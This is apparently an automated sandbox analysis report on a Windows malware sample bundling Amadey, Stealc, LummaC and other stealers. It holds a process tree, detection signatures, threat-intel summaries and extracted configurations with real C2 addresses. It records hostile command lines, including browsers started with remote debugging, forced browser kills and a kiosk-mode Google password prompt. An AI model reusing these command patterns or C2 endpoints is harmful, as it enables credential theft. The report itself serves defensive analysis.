Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561283
MD5:	d54b0c8f7977a9e67948bab655fb380e
SHA1:	0ddd15bf45362013fb845f4b6155ab40f039cafe
SHA256:	bba96c9d29c016a476eb149b7bda86ef059dc25246555f4212d95be8f98e3859
Tags:	exeuser-Bitsight
Infos:

Detection

PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Detected PureCrypter Trojan

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6460 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D54B0C8F7977A9E67948BAB655FB380E)

chrome.exe (PID: 4292 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2212,i,7478136807645750746,17014002527103240084,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 2624 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3524 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2312,i,5981494348251301959,4375700475387197058,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8508 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDHCGDAFBK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsIDHCGDAFBK.exe (PID: 8800 cmdline: "C:\Users\user\DocumentsIDHCGDAFBK.exe" MD5: 066CBA2D7733BA1CF42FB68AB5E404A6)

skotes.exe (PID: 8340 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 066CBA2D7733BA1CF42FB68AB5E404A6)

msedge.exe (PID: 7988 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3620 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2784 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8376 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6512 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8416 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6996 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7972 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7252 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8604 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7288 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 6284 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 066CBA2D7733BA1CF42FB68AB5E404A6)

skotes.exe (PID: 8224 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 066CBA2D7733BA1CF42FB68AB5E404A6)

f979933b17.exe (PID: 7808 cmdline: "C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe" MD5: 4C6BBA984AF9160DDE6F2E0DD0E0BC79)

chrome.exe (PID: 6672 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

lll.exe (PID: 8580 cmdline: "C:\Users\user\AppData\Local\Temp\1008303001\lll.exe" MD5: EF791B7D99A63481993AD96A9F043E71)

954f709e67.exe (PID: 9136 cmdline: "C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe" MD5: A60C25A4D738790AFD6DEE836C9A6370)

97aac85e85.exe (PID: 4564 cmdline: "C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe" MD5: D54B0C8F7977A9E67948BAB655FB380E)

15a477ae94.exe (PID: 360 cmdline: "C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe" MD5: 22CF487CE98B0DA943AE302F604FB6B7)

taskkill.exe (PID: 3480 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5332 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8296 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8868 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8836 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7884 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

954f709e67.exe (PID: 6728 cmdline: "C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe" MD5: A60C25A4D738790AFD6DEE836C9A6370)

firefox.exe (PID: 8344 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8356 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2612 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2100 -prefMapHandle 2080 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4bb5573-6e71-4f9d-8f1c-90fb1917cb05} 8356 "\\.\pipe\gecko-crash-server-pipe.8356" 214ed06f110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

97aac85e85.exe (PID: 8388 cmdline: "C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe" MD5: D54B0C8F7977A9E67948BAB655FB380E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "1NCW25--775"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001D.00000003.3100359782.00000000011B1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000003.3256935500.0000000001630000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3308221521.0000000001628000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.3141631293.0000000004C60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000003.3225665897.0000000001632000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.2615255445.0000000000681000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000002.3295724379.0000000000681000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2645191342.0000000000681000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000003.3156881759.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000003.2604632856.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2537867494.0000000000341000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.3101454354.00000000011B1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.3094239861.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.2615939383.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.3017177770.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000030.00000002.3294866790.0000000000021000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2540983254.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.3179756932.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.3070076867.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.3195731341.00000000011B4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000019.00000003.2699998408.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.3042893343.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2035418521.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.3125768013.00000000011B1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000030.00000002.3308546587.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3192874994.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3017725584.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000030.00000003.3269947580.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.3014750576.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2528992424.0000000005550000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.3069247948.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.3155016868.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.3100441873.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000003.3126118900.00000000011B1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000003.3223457600.0000000001630000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2537867494.000000000040C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.3185387404.0000000000021000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.3153596138.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.2574457341.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6460	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6460	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6460	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: lll.exe PID: 8580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: lll.exe PID: 8580	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 954f709e67.exe PID: 9136	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 954f709e67.exe PID: 9136	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 97aac85e85.exe PID: 4564	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 97aac85e85.exe PID: 4564	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 954f709e67.exe PID: 6728	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 954f709e67.exe PID: 6728	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 15a477ae94.exe PID: 360	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 97aac85e85.exe PID: 8388	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 97aac85e85.exe PID: 8388	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 49 entries

Unpacked PEs

Source	Rule	Description	Author
25.2.skotes.exe.680000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.680000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.DocumentsIDHCGDAFBK.exe.e20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.680000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8224, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\954f709e67.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6460, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 4292, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8224, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\954f709e67.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T01:15:31.084705+0100	2028371	3	Unknown Traffic	192.168.2.5	50036	104.21.33.116	443	TCP
2024-11-23T01:15:33.275891+0100	2028371	3	Unknown Traffic	192.168.2.5	50045	104.21.33.116	443	TCP
2024-11-23T01:15:35.856324+0100	2028371	3	Unknown Traffic	192.168.2.5	50051	104.21.33.116	443	TCP
2024-11-23T01:15:38.625080+0100	2028371	3	Unknown Traffic	192.168.2.5	50057	104.21.33.116	443	TCP
2024-11-23T01:15:38.780855+0100	2028371	3	Unknown Traffic	192.168.2.5	50058	104.21.33.116	443	TCP
2024-11-23T01:15:41.043771+0100	2028371	3	Unknown Traffic	192.168.2.5	50066	104.21.33.116	443	TCP
2024-11-23T01:15:41.243631+0100	2028371	3	Unknown Traffic	192.168.2.5	50067	104.21.33.116	443	TCP
2024-11-23T01:15:44.276208+0100	2028371	3	Unknown Traffic	192.168.2.5	50076	104.21.33.116	443	TCP
2024-11-23T01:15:44.418230+0100	2028371	3	Unknown Traffic	192.168.2.5	50077	104.21.33.116	443	TCP
2024-11-23T01:15:47.087634+0100	2028371	3	Unknown Traffic	192.168.2.5	50091	104.21.33.116	443	TCP
2024-11-23T01:15:47.137304+0100	2028371	3	Unknown Traffic	192.168.2.5	50092	104.21.33.116	443	TCP
2024-11-23T01:15:49.685236+0100	2028371	3	Unknown Traffic	192.168.2.5	50103	104.21.33.116	443	TCP
2024-11-23T01:15:49.817033+0100	2028371	3	Unknown Traffic	192.168.2.5	50101	104.21.33.116	443	TCP
2024-11-23T01:15:51.690308+0100	2028371	3	Unknown Traffic	192.168.2.5	50109	104.21.33.116	443	TCP
2024-11-23T01:15:53.814800+0100	2028371	3	Unknown Traffic	192.168.2.5	50116	104.21.33.116	443	TCP
2024-11-23T01:15:54.140517+0100	2028371	3	Unknown Traffic	192.168.2.5	50117	104.21.33.116	443	TCP
2024-11-23T01:15:56.608341+0100	2028371	3	Unknown Traffic	192.168.2.5	50124	104.21.33.116	443	TCP
2024-11-23T01:15:57.031378+0100	2028371	3	Unknown Traffic	192.168.2.5	50126	104.21.33.116	443	TCP
2024-11-23T01:16:01.229016+0100	2028371	3	Unknown Traffic	192.168.2.5	50143	104.21.33.116	443	TCP
2024-11-23T01:16:02.681178+0100	2028371	3	Unknown Traffic	192.168.2.5	50163	104.21.33.116	443	TCP
2024-11-23T01:16:19.782240+0100	2028371	3	Unknown Traffic	192.168.2.5	50203	104.21.33.116	443	TCP
2024-11-23T01:16:29.440039+0100	2028371	3	Unknown Traffic	192.168.2.5	50209	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
